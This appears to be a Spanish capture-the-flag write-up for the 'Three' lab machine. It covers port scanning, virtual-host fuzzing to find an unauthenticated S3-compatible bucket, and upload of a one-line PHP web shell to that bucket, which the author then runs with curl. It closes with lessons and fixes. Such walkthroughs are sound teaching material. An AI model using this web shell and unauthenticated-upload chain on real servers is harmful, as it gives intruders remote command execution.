Three
La web oficial no tiene nada raro, pero buscando subdominios aparece s3, un almacenamiento tipo Amazon S3 que no pide credenciales. Ese bucket es la carpeta de la web, así que subo un archivo PHP y el servidor lo ejecuta.
- DescubrimientoSubdominio s3 con fuzzing
- FalloBucket S3 sin autenticación
- AccesoWeb shell PHP subida al bucket
Reconocimiento
nmap -p- --min-rate 5000 -oN puertos.txt <IP>
nmap -sCV -p22,80 <IP>Solo SSH (22) y una web (80). En la página de contacto aparece el dominio thetoppers.htb, que añado a /etc/hosts:
echo "<IP> thetoppers.htb" | sudo tee -a /etc/hosts
whatweb http://thetoppers.htbBuscar subdominios
Ni la web ni el código fuente muestran nada útil, así que busco subdominios (virtual hosts): el servidor responde distinto según el nombre que pida.
gobuster vhost -u http://thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain--append-domain hace falta en gobuster 3.2 o superior para que pruebe palabra.thetoppers.htb. Sale s3.thetoppers.htb. Lo añado también a /etc/hosts. Por el nombre y por cómo responde, es un servicio compatible con Amazon S3.
El fallo: S3 sin autenticación
S3 guarda archivos en "buckets". Con la CLI de AWS se puede listar y subir archivos. Configuro credenciales cualquiera (el servidor no las comprueba) y apunto al endpoint de la máquina:
aws configure # valores inventados: el servidor no los valida
aws --endpoint=http://s3.thetoppers.htb s3 ls
aws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htbEl primer comando devuelve un único bucket, thetoppers.htb. Dentro están index.php, .htaccess y la carpeta images/. El bucket es la raíz de la web.
Acceso: web shell
Si puedo escribir en la carpeta de la web y el servidor ejecuta PHP, puedo subir mi propio PHP:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
aws --endpoint=http://s3.thetoppers.htb s3 cp shell.php s3://thetoppers.htb
curl "http://thetoppers.htb/shell.php?cmd=id"El comando se ejecuta como el usuario del servidor web. A partir de aquí se puede lanzar una reverse shell o buscar la flag directamente.
Lo que me llevo
- Cuando la web principal está limpia, toca buscar subdominios.
- Un almacenamiento que sirve la web y además acepta escritura es ejecución de código directa.
Cómo se arregla
- Exigir autenticación en el bucket y no permitir escritura pública.
- Separar el almacenamiento de archivos de la carpeta que ejecuta código.
- Si se suben archivos, guardarlos donde el servidor no ejecute PHP.
Técnica relacionada: Subida de archivos.
